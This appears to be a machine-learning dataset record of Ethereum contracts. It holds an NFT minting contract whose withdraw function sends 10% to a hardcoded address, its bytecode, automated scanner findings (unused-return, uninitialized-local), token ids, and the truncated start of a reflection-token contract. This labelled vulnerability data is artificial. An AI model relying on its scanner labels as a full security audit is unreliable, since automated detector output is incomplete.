``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract SaveUkraineNFTs is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.07 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 20; bool public paused = true; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { // This will pay 10% of the initial sale to the community wallet. // ============================================================================= (bool hs, ) = payable(0x84f54c35E676ae1D6e4EF656b3BF4F8Aaa1a289b).call{value: address(this).balance * 10 / 100}(""); require(hs); // ============================================================================= // This will payout the owner 90% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611fe0565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611fc5565b6106a6565b005b34801561027757600080fd5b506102806106ec565b60405161024091906121ed565b34801561029957600080fd5b506102ad6102a8366004612063565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f9b565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611eb9565b6109b7565b34801561037557600080fd5b50610310610384366004611f9b565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611eb9565b610b9a565b3480156103bd57600080fd5b506103d16103cc366004611e6b565b610bb5565b60405161024091906121a9565b3480156103ea57600080fd5b506102696103f9366004612063565b610c57565b34801561040a57600080fd5b50610310610419366004612063565b610c86565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b5061026961045836600461201a565b610d19565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004612063565b610d56565b3480156104a357600080fd5b506103106104b2366004611e6b565b610dcd565b3480156104c357600080fd5b50610269610e54565b3480156104d857600080fd5b506102696104e7366004612063565b610e8a565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610eb9565b61026961052d366004612063565b610ec8565b34801561053e57600080fd5b5061026961054d366004611f71565b610f75565b34801561055e57600080fd5b5061026961103a565b34801561057357600080fd5b50610269610582366004611ef5565b611075565b34801561059357600080fd5b506102806110ad565b3480156105a857600080fd5b506102806105b7366004612063565b6110ba565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed36600461201a565b611239565b3480156105fe57600080fd5b5061023461060d366004611e86565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b5061026961065636600461201a565b611276565b34801561066757600080fd5b50610269610676366004611e6b565b6112b3565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a08261134e565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d090612252565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb90612366565b80601f016020809104026020016040519081016040528092919081815260200182805461072790612366565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b6011805461082090612366565b80601f016020809104026020016040519081016040528092919081815260200182805461084c90612366565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610d56565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b2838361139e565b505050565b6109c1338261140c565b6109dd5760405162461bcd60e51b81526004016106d090612287565b6109b2838383611503565b60006109f383610dcd565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d090612252565b60007384f54c35e676ae1d6e4ef656b3bf4f8aaa1a289b6064610acc47600a612304565b610ad691906122f0565b604051600081818185875af1925050503d8060008114610b12576040519150601f19603f3d011682016040523d82523d6000602084013e610b17565b606091505b5050905080610b2557600080fd5b6000610b39600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610b83576040519150601f19603f3d011682016040523d82523d6000602084013e610b88565b606091505b5050905080610b9657600080fd5b5050565b6109b283838360405180602001604052806000815250611075565b60606000610bc283610dcd565b905060008167ffffffffffffffff811115610bdf57610bdf612428565b604051908082528060200260200182016040528015610c08578160200160208202803683370190505b50905060005b82811015610c4f57610c2085826109e8565b828281518110610c3257610c32612412565b602090810291909101015280610c47816123a1565b915050610c0e565b509392505050565b600a546001600160a01b03163314610c815760405162461bcd60e51b81526004016106d090612252565b600d55565b6000610c9160085490565b8210610cf45760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610d0757610d07612412565b90600052602060002001549050919050565b600a546001600160a01b03163314610d435760405162461bcd60e51b81526004016106d090612252565b8051610b9690600b906020840190611d30565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610e385760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e7e5760405162461bcd60e51b81526004016106d090612252565b610e8860006116ae565b565b600a546001600160a01b03163314610eb45760405162461bcd60e51b81526004016106d090612252565b600f55565b6060600180546106fb90612366565b6000610ed360085490565b60105490915060ff1615610ee657600080fd5b60008211610ef357600080fd5b600f54821115610f0257600080fd5b600e54610f0f83836122d8565b1115610f1a57600080fd5b600a546001600160a01b03163314610f465781600d54610f3a9190612304565b341015610f4657600080fd5b60015b8281116109b257610f6333610f5e83856122d8565b611700565b80610f6d816123a1565b915050610f49565b6001600160a01b038216331415610fce5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b031633146110645760405162461bcd60e51b81526004016106d090612252565b6010805461ff001916610100179055565b61107f338361140c565b61109b5760405162461bcd60e51b81526004016106d090612287565b6110a78484848461171a565b50505050565b600c805461082090612366565b6000818152600260205260409020546060906001600160a01b03166111395760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff166111da576011805461115590612366565b80601f016020809104026020016040519081016040528092919081815260200182805461118190612366565b80156111ce5780601f106111a3576101008083540402835291602001916111ce565b820191906000526020600020905b8154815290600101906020018083116111b157829003601f168201915b50505050509050919050565b60006111e461174d565b905060008151116112045760405180602001604052806000815250611232565b8061120e8461175c565b600c604051602001611222939291906120a8565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146112635760405162461bcd60e51b81526004016106d090612252565b8051610b9690600c906020840190611d30565b600a546001600160a01b031633146112a05760405162461bcd60e51b81526004016106d090612252565b8051610b96906011906020840190611d30565b600a546001600160a01b031633146112dd5760405162461bcd60e51b81526004016106d090612252565b6001600160a01b0381166113425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b61134b816116ae565b50565b60006001600160e01b031982166380ac58cd60e01b148061137f57506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906113d382610d56565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114855760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b600061149083610d56565b9050806001600160a01b0316846001600160a01b031614806114cb5750836001600160a01b03166114c08461077e565b6001600160a01b0316145b806114fb57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661151682610d56565b6001600160a01b03161461157e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115e05760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6115eb83838361185a565b6115f660008261139e565b6001600160a01b038316600090815260036020526040812080546001929061161f908490612323565b90915550506001600160a01b038216600090815260036020526040812080546001929061164d9084906122d8565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610b96828260405180602001604052806000815250611912565b611725848484611503565b61173184848484611945565b6110a75760405162461bcd60e51b81526004016106d090612200565b6060600b80546106fb90612366565b6060816117805750506040805180820190915260018152600360fc1b602082015290565b8160005b81156117aa5780611794816123a1565b91506117a39050600a836122f0565b9150611784565b60008167ffffffffffffffff8111156117c5576117c5612428565b6040519080825280601f01601f1916602001820160405280156117ef576020820181803683370190505b5090505b84156114fb57611804600183612323565b9150611811600a866123bc565b61181c9060306122d8565b60f81b81838151811061183157611831612412565b60200101906001600160f81b031916908160001a905350611853600a866122f0565b94506117f3565b6001600160a01b0383166118b5576118b081600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6118d8565b816001600160a01b0316836001600160a01b0316146118d8576118d88382611a52565b6001600160a01b0382166118ef576109b281611aef565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b9e565b61191c8383611be2565b6119296000848484611945565b6109b25760405162461bcd60e51b81526004016106d090612200565b60006001600160a01b0384163b15611a4757604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061198990339089908890889060040161216c565b602060405180830381600087803b1580156119a357600080fd5b505af19250505080156119d3575060408051601f3d908101601f191682019092526119d091810190611ffd565b60015b611a2d573d808015611a01576040519150601f19603f3d011682016040523d82523d6000602084013e611a06565b606091505b508051611a255760405162461bcd60e51b81526004016106d090612200565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506114fb565b506001949350505050565b60006001611a5f84610dcd565b611a699190612323565b600083815260076020526040902054909150808214611abc576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611b0190600190612323565b60008381526009602052604081205460088054939450909284908110611b2957611b29612412565b906000526020600020015490508060088381548110611b4a57611b4a612412565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611b8257611b826123fc565b6001900381819060005260206000200160009055905550505050565b6000611ba983610dcd565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611c385760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c9d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611ca96000838361185a565b6001600160a01b0382166000908152600360205260408120805460019290611cd29084906122d8565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611d3c90612366565b90600052602060002090601f016020900481019282611d5e5760008555611da4565b82601f10611d7757805160ff1916838001178555611da4565b82800160010185558215611da4579182015b82811115611da4578251825591602001919060010190611d89565b50611db0929150611db4565b5090565b5b80821115611db05760008155600101611db5565b600067ffffffffffffffff80841115611de457611de4612428565b604051601f8501601f19908116603f01168101908282118183101715611e0c57611e0c612428565b81604052809350858152868686011115611e2557600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611e5657600080fd5b919050565b80358015158114611e5657600080fd5b600060208284031215611e7d57600080fd5b61123282611e3f565b60008060408385031215611e9957600080fd5b611ea283611e3f565b9150611eb060208401611e3f565b90509250929050565b600080600060608486031215611ece57600080fd5b611ed784611e3f565b9250611ee560208501611e3f565b9150604084013590509250925092565b60008060008060808587031215611f0b57600080fd5b611f1485611e3f565b9350611f2260208601611e3f565b925060408501359150606085013567ffffffffffffffff811115611f4557600080fd5b8501601f81018713611f5657600080fd5b611f6587823560208401611dc9565b91505092959194509250565b60008060408385031215611f8457600080fd5b611f8d83611e3f565b9150611eb060208401611e5b565b60008060408385031215611fae57600080fd5b611fb783611e3f565b946020939093013593505050565b600060208284031215611fd757600080fd5b61123282611e5b565b600060208284031215611ff257600080fd5b81356112328161243e565b60006020828403121561200f57600080fd5b81516112328161243e565b60006020828403121561202c57600080fd5b813567ffffffffffffffff81111561204357600080fd5b8201601f8101841361205457600080fd5b6114fb84823560208401611dc9565b60006020828403121561207557600080fd5b5035919050565b6000815180845261209481602086016020860161233a565b601f01601f19169290920160200192915050565b6000845160206120bb8285838a0161233a565b8551918401916120ce8184848a0161233a565b8554920191600090600181811c90808316806120eb57607f831692505b85831081141561210957634e487b7160e01b85526022600452602485fd5b80801561211d576001811461212e5761215b565b60ff1985168852838801955061215b565b60008b81526020902060005b858110156121535781548a82015290840190880161213a565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061219f9083018461207c565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156121e1578351835292840192918401916001016121c5565b50909695505050505050565b602081526000611232602083018461207c565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156122eb576122eb6123d0565b500190565b6000826122ff576122ff6123e6565b500490565b600081600019048311821515161561231e5761231e6123d0565b500290565b600082821015612335576123356123d0565b500390565b60005b8381101561235557818101518382015260200161233d565b838111156110a75750506000910152565b600181811c9082168061237a57607f821691505b6020821081141561239b57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156123b5576123b56123d0565b5060010190565b6000826123cb576123cb6123e6565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461134b57600080fdfea2646970667358221220b847ee92a1269d44b6567620b12ba33ef88bb3609599ff097a61b41c5c4393ea64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2094, 22610, 2692, 2509, 2497, 22394, 2094, 2620, 16409, 2549, 12879, 22275, 2063, 2683, 4402, 2683, 26224, 26224, 8889, 2850, 3401, 2692, 2509, 2278, 2581, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 8040, 6305, 8663, 6494, 6593, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,156
0x964da6849423cbdd36768dbd227a5674449378ac
/** *Submitted for verification at Etherscan.io on 2022-03-10 */ /** *Submitted for verification at EthScan 2022-03-10 */ /** *love You Mom */ /* #SafeObol features: ~1% fee auto add to the liquidity pool to be locked ~1% fee auto add to charity wallet 8% fee auto distribute to all holders */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting 